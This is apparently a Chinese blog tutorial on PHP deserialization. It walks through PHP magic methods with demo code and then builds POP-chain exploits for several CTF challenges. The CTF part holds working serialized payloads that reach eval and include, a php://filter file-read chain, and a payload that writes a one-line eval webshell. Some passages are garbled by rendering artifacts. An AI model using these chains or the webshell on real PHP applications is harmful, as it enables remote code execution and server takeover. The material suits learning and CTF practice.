# PHP - 反序列化(超细的)
很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的 php 反序列化,经常在 ctf 中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出 pop 链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些 ctf 题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
常见的 PHP 魔术方法:
1 2 3 4 5 6 7 8 9 10 11 __construct: 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct: 和构造函数相反,当对象所在函数调用完毕后执行。 __call:当调用对象中不存在的方法会自动调用该方法。 __get():获取对象不存在的属性时执行此函数。 __set():设置对象不存在的属性时执行此函数。 __toString:当对象被当做一个字符串使用时调用。 __sleep:序列化对象之前就调用此方法(其返回需要一个数组) __wakeup:反序列化恢复对象之前调用该方法 __isset():在不可访问的属性上调用isset ()或empty ()触发 __unset():在不可访问的属性上使用unset ()时触发 __invoke() :将对象当作函数来使用时执行此方法
# __construct 与 __destruct
__construct
: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct
: 和构造函数相反,当对象所在函数调用完毕后执行。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; $this ->name = $name ; $this ->age = $age ; $this ->string = $string ; } function __destruct ( ) { echo "__destruct 类执行完毕" ."<br>" ; } } $test = new Test("Spaceman" ,566 , 'Test String' );unset ($test );echo '566' .'<br>' ;echo '----------------------<br>' ;$test = new test("Spaceman" ,566 , 'Test String' );echo '666' .'<br>' ;?>
运行结果:
1 2 3 4 5 6 7 __construct 初始化 __destruct 类执行完毕 566 ---------------------- __construct 初始化 666 __destruct 类执行完毕
# __call
__call
:当调用对象中不存在的方法会自动调用该方法。
调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call 函数。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Test { public function good ($number ,$string ) { echo '存在good方法' .'<br>' ; echo $number .'---------' .$string .'<br>' ; } public function __call ($method ,$args ) { echo '不存在' .$method .'方法' .'<br>' ; var_dump($args ); } } $a = new Test();$a ->good(566 ,'nice' );$b = new Test();$b ->spaceman(899 ,'no' );?>
运行结果:
1 2 3 4 5 6 7 8 9 存在good方法 566 ---------nice不存在spaceman方法 array (2 ) { [0 ] => int (899 ) [1 ] => string (2 ) "no" }
# __get()
__get()
:访问不存在的成员变量时调用的; 用来获取私有属性
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get 函数。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Test { public $n =123 ; public function __get ($name ) { echo '__get 不存在成员变量' .$name .'<br>' ; } } $a = new Test();echo $a ->n;echo '<br>' ;echo $a ->spaceman;
运行结果:
1 2 123 __get 不存在成员变量spaceman
# __set()
__set()
:设置不存在的成员变量时调用的;
设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set 函数。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class Test { public $data = 100 ; protected $noway =0 ; public function __set ($name ,$value ) { echo '__set 不存在成员变量 ' .$name .'<br>' ; echo '即将设置的值 ' .$value ."<br>" ; $this ->noway=$value ; } public function Get ( ) { echo $this ->noway; } } $a = new Test();$a ->Get();echo '<br>' ;$a ->noway = 899 ;$a ->Get();echo '<br>' ;$a ->spaceman = 566 ;$a ->Get();?>
运行结果:
1 2 3 4 5 6 7 0 __set 不存在成员变量 noway 即将设置的值 899 899 __set 不存在成员变量 spaceman 即将设置的值 566 566
# __get 与 __set
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Person { private $name ; private $sex ; private $age ; public function __get ($property_name ) { echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>" ; if (isset ($this ->$property_name )) { return ($this ->$property_name ); } else { return (NULL ); } } public function __set ($property_name , $value ) { echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>" ; $this ->$property_name = $value ; } } $a = new Person();$a ->name="张三" ;$a ->sex="男" ;$a ->age=20 ;echo "姓名:" .$a ->name."<br>" ;echo "性别:" .$a ->sex."<br>" ;echo "年龄:" .$a ->age."<br>" ;?>
运行结果:
1 2 3 4 5 6 7 8 9 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值 在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值 在直接获取私有属性值的时候,自动调用了这个__get()方法 姓名:张三 在直接获取私有属性值的时候,自动调用了这个__get()方法 性别:男 在直接获取私有属性值的时候,自动调用了这个__get()方法 年龄:20
# __toString()
__toString()
:在对象当做字符串的时候会被调用。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Test { public $variable = 'This is a string' ; public function good ( ) { echo $this ->variable . '<br />' ; } public function __toString ( ) { return '__toString <br>' ; } } $a = new Test();$a ->good();echo $a ;?>
运行结果:
1 2 This is a string __toString
# __sleep()
__sleep()
: serialize 之前被调用,可以指定要序列化的对象属性。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; $this ->name = $name ; $this ->age = $age ; $this ->string = $string ; } public function __sleep ( ) { echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>" ; return array ('name' , 'age' ); } } $a = new Test("Spaceman" ,566 , 'Test String' );echo serialize($a );?>
运行结果:
1 2 3 __construct 初始化 当在类外部使用serialize()时会调用这里的__sleep()方法 O:4 :"Test" :2 :{s:4 :"name" ;s:8 :"Spaceman" ;s:3 :"age" ;i:566 ;}
# __wakeup
__wakeup
:反序列化恢复对象之前调用该方法
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Test { public $sex ; public $name ; public $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __wakeup ( ) { echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>" ; $this ->age = 566 ; } } $person = new Test('spaceman' ,21 ,'男' );$a = serialize($person );echo $a ."<br>" ;var_dump (unserialize($a )); ?>
运行结果:
1 2 3 4 5 6 7 8 9 10 O:4 :"Test" :3 :{s:3 :"sex" ;s:3 :"男" ;s:4 :"name" ;s:8 :"spaceman" ;s:3 :"age" ;i:21 ;} 当在类外部使用unserialize()时会调用这里的__wakeup()方法 class Test#2 (3) { public $sex => string (3 ) "男" public $name => string (8 ) "spaceman" public $age => int (566 ) }
# __isset()
__isset()
: 检测对象的某个属性是否存在时执行此函数。
当对不可访问属性调用 isset () 或 empty () 时,__isset () 会被调用。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __isset ($content ) { echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>" ; return isset ($this ->$content ); } } $person = new Person("spaceman" , 25 ,'男' );echo ($person ->sex),"<br>" ;echo isset ($person ->name);?>
运行结果:
1 2 3 男 当在类外部使用isset ()函数测定私有成员 name 时,自动调用 1
# __unset()
__unset()
:在不可访问的属性上使用 unset () 时触发
销毁对象的某个属性时执行此函数。
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __unset ($content ) { echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>" ; echo isset ($this ->$content )."<br>" ; } } $person = new Person("spaceman" , 21 ,"男" ); unset ($person ->sex);echo "666666<br>" ;unset ($person ->name);unset ($person ->age);?>
运行结果:
1 2 3 4 5 666666 当在类外部使用unset ()函数来删除私有成员时自动调用的 1 当在类外部使用unset ()函数来删除私有成员时自动调用的 1
# __invoke()
__invoke()
:将对象当作函数来使用时执行此方法,通常不推荐这样做。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Test { public function __invoke ($param1 , $param2 , $param3 ) { echo "这是一个对象<br>" ; var_dump($param1 ,$param2 ,$param3 ); } } $a = new Test();$a ('spaceman' ,21 ,'男' );?>
运行结果:
1 2 3 4 这是一个对象 string (8 ) "spaceman" int (21 )string (3 ) "男"
# 举例
# pop 链的利用
# 例 1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file(__FILE__ ); class pop { public $ClassObj ; function __construct ( ) { $this ->ClassObj = new hello(); } function __destruct ( ) { $this ->ClassObj->action(); } } class hello { function action ( ) { echo "<br> hello pop " ; } } class shell { public $data ; function action ( ) { eval ($this ->data); } } $a = new pop();unserialize($_GET ['s' ]);
简单的审计一下,可以发现,pop 类本来是调用 hello 类的,然后程序结束执行 action 方法,但是 shell 类也有 action 方法,所以就可以构造 pop 链,使其 pop 类调用 shell 类从而执行 eval 函数。
构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__ ); class pop { public $ClassObj ; function __construct ( ) { $this ->ClassObj = new shell(); } } class shell { public $data = "phpinfo();" ; function action ( ) { eval ($this ->data); } } echo serialize(new pop());
运行结果:
1 O:3 :"pop" :1 :{s:8 :"ClassObj" ;O:5 :"shell" :1 :{s:4 :"data" ;s:10 :"phpinfo();" ;}}
不过需要注意的是 private 属性和 protected 属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file(__FILE__ ); class pop { public $Pub = "spaceman" ; private $Pri = "good" ; protected $ClassObj ; function __construct ( ) { $this ->ClassObj = new hello(); } } class hello {} echo urlencode(serialize(new pop()));
运行结果如下, 有 %00 存在是因为 private 属性和 protected 属性
1 O%3 A3%3 A%22 pop%22 %3 A3%3 A%7 Bs%3 A3%3 A%22 Pub%22 %3 Bs%3 A8%3 A%22 spaceman%22 %3 Bs%3 A8%3 A%22 %00 pop%00 Pri%22 %3 Bs%3 A4%3 A%22 good%22 %3 Bs%3 A11%3 A%22 %00 %2 A%00 ClassObj%22 %3 BO%3 A5%3 A%22 hello%22 %3 A0%3 A%7 B%7 D%7 D
# 例 2:
[MRCTF2020]Ezpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize($_GET ['pop' ]); } else { $a =new Show; highlight_file(__FILE__ ); }
首先看看所涉及到的魔术方法:
1 2 3 4 5 __construct() 当一个对象创建时被调用 __toString() 当一个对象被当作一个字符串使用 __wakeup() 将在反序列化之后立即被调用 __get() 访问不存在的成员变量时调用的 __invoke() 将对象当作函数来使用时执行此方法
我们可以先一个一个类看看怎么利用
Modifier
类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file(__FILE__ ); class Modifier { protected $var = 'info.php' ; public function append ($value ) { include ($value ); } public function __invoke ( ) { echo '__invoke' ."<br>" ; $this ->append($this ->var); } } $a = new Modifier();$a ();
这里假设需要 include
的文件是 info.php
简单解释一下代码的意思,就是我们需要执行 append
方法,若需要执行该方法可通过 __invoke
方法执行,也就是当将对象当作函数来使用时执行 __invoke
方法
所以我们就可以先创建这个对象然后再拿来当函数使用,就会自动触发 __invoke
方法,从而就可以执行 append
方法包含 info.php
文件
运行结果:
接下来是 Test
类:
1 2 3 4 5 6 7 8 9 10 11 class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }
首先是 __construct
方法初始化设置 p 是一个数组,这显然不是我们需要的,但我们可以重新初始化,然后是 __get
方法,访问不存在的成员变量时调用,而且返回的是方法,这不就可以配合第一个 Modifier
类使用了吗,使用 Test
类的 __get
方法调用 Modifier
类,所以我们可以使 Test
类初始化将 $p 的值设为 Modifier
对象,然后再经过 __get
方法以函数的方式执行 Modifier
对象(即访问一个 Test
类不存在的属性),这样就可以使用 Modifier
对象的 append
方法了,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Modifier { protected $var = 'info.php' ; public function append ($value ) { include ($value ); } public function __invoke ( ) { echo '__invoke' ."<br>" ; $this ->append($this ->var); } } class Test { public $p ; public function __construct ( ) { $this ->p = new Modifier(); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a = new Test();$a ->no;?>
运行结果:
最后是这个 Show
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
首先使用 unserialize 会先触发 __wakeup
方法,这个方法在这里其实就是充当过滤字符,接着是初始化方法,这个方法有个关键的地方就是使用了 echo 打印字符串,并且将 source
拼接起来打印,而 __toString()
就是当一个对象被当作一个字符串时调用,正好可以利用初始化方法的 echo 去完成调用。
分析了这么多,最后就可以构造最终的 pop 链了,先上 payload 再继续讲
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Modifier { protected $var = 'info.php' ; } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return "566" ; } } class Test { public $p ; public function __construct ( ) { $this ->p = new Modifier(); } } $a = new Show('spaceman' );$a ->str = new Test();$c = new Show($a );echo serialize($c );
运行结果有不可显示字符 %00 这里我手动加上了,所以可以使用 urlencode 一下,我这里是为了更直观的查看所以直接序列化
1 2 3 Welcome to spaceman Welcome to 566 O:4 :"Show" :2 :{s:6 :"source" ;O:4 :"Show" :2 :{s:6 :"source" ;s:8 :"spaceman" ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:6 :"%00*%00var" ;s:8 :"info.php" ;}}}s:3 :"str" ;N;}
$a = new Show('spaceman');
首先是 new 一个 Show
对象,然后初始化 source
的值,如 spaceman 等字符,这个没多大影响,只是为了调用 Test
类中的 __get
方法,那如何调用的呢
$a->str = new Test();
将 Show
类的 str 属性设为 new Test ()
$c = new Show($a);
然后再用 Show
类初始化刚刚构造的 Show
类,这里可能就有点绕了,为何我们需要这样构造呢,因为我们需要触发 Show
的 __toString()
方法,让 str 能调用 source,而经过刚刚的赋值,str 为 new Test()
,source 为 new Show('spaceman')
中的 spaceman ,那么 __toString
方法中的 str->source
就是访问 Test 类中的 spaceman 属性,然而 Test 类没有 spaceman 属性,那么就会触发 __get
方法,而该方法又会触发 Modifier 类中的 __invoke
方法,最后就完成了 include
所以大概调用的过程是:
1 Show::__toString()-->Test::__get()-->Modifier::__invoke()
执行结果:
当然这是文件包含,那么想要读取文件应该怎么办呢,可以 php 伪协议使用,所以可以这样构造读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php' ; } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return "566" ; } } class Test { public $p ; public function __construct ( ) { $this ->p = new Modifier(); } } $a = new Show('spaceman' );$a ->str = new Test();$c = new Show($a );echo serialize($c );
运行结果
执行:
最后 base64 解码即可
# 例 3:
ctfshow 反序列化 web261
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__ ); class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); } } } unserialize($_GET ['vip' ]);
首先呢了解一个上文没讲过的 __unserialize()
方法, 反序列化函数,用于序列化的 SET 类型数据。如果参数不是序列化的 SET,那么会直接返回。如果是一个序列化的 SET,但不是 PHP-REDIS 序列化的格式,函数将抛出一个异常。
Examples:
1 2 $redis ->setOpt(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);$redis ->_unserialize('a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}' );
所以我们此时应该先想怎么序列化
__sleep()
serialize 之前被调用,可以指定要序列化的对象属性。 所以在反序列化的时候就没啥用了,我们自己序列化的时候也不加,而 __unserialize
在序列化的时候也用不到, __wakeup
是反序列化恢复对象之前调用的方法,所以跟序列化也没啥关系, __invoke()
是将对象当作函数来使用时执行此方法,但是我发现并不需要调用此方法,因为 __destruct()
方法中有 file_put_contents
函数可以写文件,所以我们需要满足 code==0x36d
即可将文件写入,这里不难发现是弱类型比较,所以 887.php==0x36d
是成立的,所以我们可以直接构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class ctfshowvip { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } } $a = new ctfshowvip('877.php' ,'<?php eval($_POST[1]);?>' );echo serialize($a );
为什么可以直接这样构造而不被 __wakeup()
拦截呢,因为含有 __unserialize()
,就是当一个类中同时含有这两个方法时只有 __unserialize
生效,而 __wakeup()
失效,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php highlight_file(__FILE__ ); class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { echo "__construct()<br>" ; $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { echo "__wakeup()<br>" ; if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { echo "__invoke()<br>" ; eval ($this ->code); } public function __sleep ( ) { echo "__sleep()<br>" ; $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { echo "__unserialize()<br>" ; $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; var_dump($data ); echo "<br>" ; echo $this ->code; echo "<br>" ; } public function __destruct ( ) { echo "__destruct()<br>" ; if ($this ->code==0x36d ){ echo "file_put_contents-----good!<br>" ; } } } unserialize($_GET ['vip' ]);
运行结果:
1 2 3 4 5 __unserialize() array (2 ) { ["username" ]=> string (7 ) "877.php" ["password" ]=> string (24 ) "<?php eval($_POST [1]);?>" }877. php__destruct() file_put_contents-----good!
成功写入木马,剩下的操作就不说了
# 例 4:
2021 蓝帽杯半决赛 - 杰克与肉丝
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file(__file__ ); class Jack { private $action ; function __set ($a , $b ) { $b ->$a (); } } class Love { public $var ; function __call ($a ,$b ) { $rose = $this ->var; call_user_func($rose ); } private function action ( ) { echo "jack love rose" ; } } class Titanic { public $people ; public $ship ; function __destruct ( ) { $this ->people->action=$this ->ship; } } class Rose { public $var1 ; public $var2 ; function __invoke ( ) { eval ($this ->var1); } } if (isset ($_GET ['love' ])){ $sail =$_GET ['love' ]; unserialize($sail ); } ?>
为了不受其他因素干扰,我先把这个 Rose 类__invoke 函数的 if 语句注释,就是为了更方便的看看怎么构造的,所以首先我们应该直接寻找我们最后利用的函数 eval,然后利用逆推的方式,看看是如何触发该函数的,就是看看怎么调用的,invoke () 将对象当作函数来使用时执行此方法,所以刚刚开始我们依旧可以慢慢一步一步测试分析,慢慢一步一步调用
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Rose { public $var1 = "phpinfo();" ; public $var2 ; function __invoke ( ) { eval ($this ->var1); } } $a = new Rose();echo $a ->var1;$a ();
现在是构造出来了,接着是看看怎么才能调用这个类,而 Love 类有一个是函数以函数的方式,call_user_func 是把第一个参数作为回调函数调用,正好符合了我们需要构造的,所以我们又看一下这个函数是怎么触发的,__call 当调用对象中不存在的方法会自动调用该方法,由于 call_user_func 回调的参数是r o s e , rose, r o s e , rose 又是直接等于v a r ,所以我们需要先给 var,所以我们需要先给 v a r , 所 以 我 们 需 要 先 给 var 赋值,这个值就是 Rose 类,这样 call_user_func 回调时就拿 Rose 类当函数执行,这样就可以出发 Rose 类的 eval 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Love { public $var ; function __call ($a ,$b ) { $rose = $this ->var; echo "$a function not find!<br>" ; call_user_func($rose ); } private function action ( ) { echo "jack love rose" ; } } class Rose { public $var1 = "phpinfo();" ; public $var2 ; function __invoke ( ) { echo $this ->var1; eval ($this ->var1); } } $a = new Rose();$b = new Love();$b ->var = $a ;$b ->spaceman(566 );
然后我们继续寻找一下如何在别的类里找一个不存在的函数,b − > s p a c e m a n ( 566 ) 这样的形式 J a c k 类就有,正好又可以构造了,然后我们再看一下怎么触发 J a c k 类中的这个形式 , _ s e t 设置对象不存在的属性或无法访问 ( 私有 ) 的属性时调用,这里的 b->spaceman(566) 这样的形式Jack类就有,正好又可以构造了,然后我们再看一下怎么触发Jack类中的这个形式,_\_set 设置对象不存在的属性或无法访问(私有)的属性时调用,这里的 b − > s p a c e m a n ( 5 6 6 ) 这 样 的 形 式 J a c k 类 就 有 , 正 好 又 可 以 构 造 了 , 然 后 我 们 再 看 一 下 怎 么 触 发 J a c k 类 中 的 这 个 形 式 , _ s e t 设 置 对 象 不 存 在 的 属 性 或 无 法 访 问 ( 私 有 ) 的 属 性 时 调 用 , 这 里 的 action 是私有的,所以我们可以利用这个 action
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class Jack { private $action ; function __set ($a , $b ) { echo "good! I run!<br>" ; $b ->$a (); } } class Love { public $var ; function __call ($a ,$b ) { $rose = $this ->var; echo "$a function not find!<br>" ; call_user_func($rose ); } private function action ( ) { echo "jack love rose" ; } } class Rose { public $var1 = "phpinfo();" ; public $var2 ; function __invoke ( ) { echo $this ->var1; eval ($this ->var1); } } $a = new Rose();$b = new Love();$b ->var = $a ;$c = new Jack();$c ->action = $b ;
其实这里不用 action 其实也是可以的,随便一个名字都行,但是这里用 action 是因为等下需要,因为我们需要利用这个 action,那么就是接下来怎么触发这个 Jack 类了,源码中只有一个 unserialize,而要想触发这一系列的类,只有 Titanic 类符合开始的条件,因为只有 Titanic 类的__destruct 魔法函数触发,所以这就是我们序列化的入口,__destruct 当对象所在函数调用完毕后执行。最后就是用 Titanic 类将这些类都连接在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class Titanic { public $people ; public $ship ; function __destruct ( ) { $this ->people->action=$this ->ship; } } class Jack { private $action ; function __set ($a , $b ) { echo "good! I run!<br>" ; $b ->$a (); } } class Love { public $var ; function __call ($a ,$b ) { $rose = $this ->var; echo "$a function not find!<br>" ; call_user_func($rose ); } private function action ( ) { echo "jack love rose" ; } } class Rose { public $var1 = "phpinfo();" ; public $var2 ; function __invoke ( ) { echo $this ->var1; eval ($this ->var1); } } $s = new Titanic();$s ->people = new Jack();$s ->ship = new Love();$s ->ship->var = new Rose();echo urlencode(serialize($s ));echo "<br>" ;
最后将序列化后得到的数据输入源码中即可
注释掉那个 md5 与 sha1 绕过我就不讲了,如果有师傅感兴趣可以参考 https://blog.csdn.net/LYJ20010728/article/details/114493052
# 结束语
哈哈哈,下次一定好好更新,下次一定
本次主要是讲了 php 反序列中常用魔术方法怎么触发以及怎么构造 pop 链,在实战中有的漏洞就是通过源码审计反序列化来导致 RCE 的,比如 thinkphp5.1.* 就存在一个 RCE 的 pop 链,这个我之后也会进行更新,构造 pop 链就是需要耐心也细心,一开始都不容易,我个人使用的是逆推的方法,就是从最后的命令执行往前推,需要啥就找啥,有的师傅是习惯从头到尾,我比较菜,只能从后面慢慢测试慢慢往前推,最后感谢关注我的朋友们,我会更加努力学习,尽量帮师傅们更快掌握一些知识,以后会尽量更新文章,谢谢师傅们!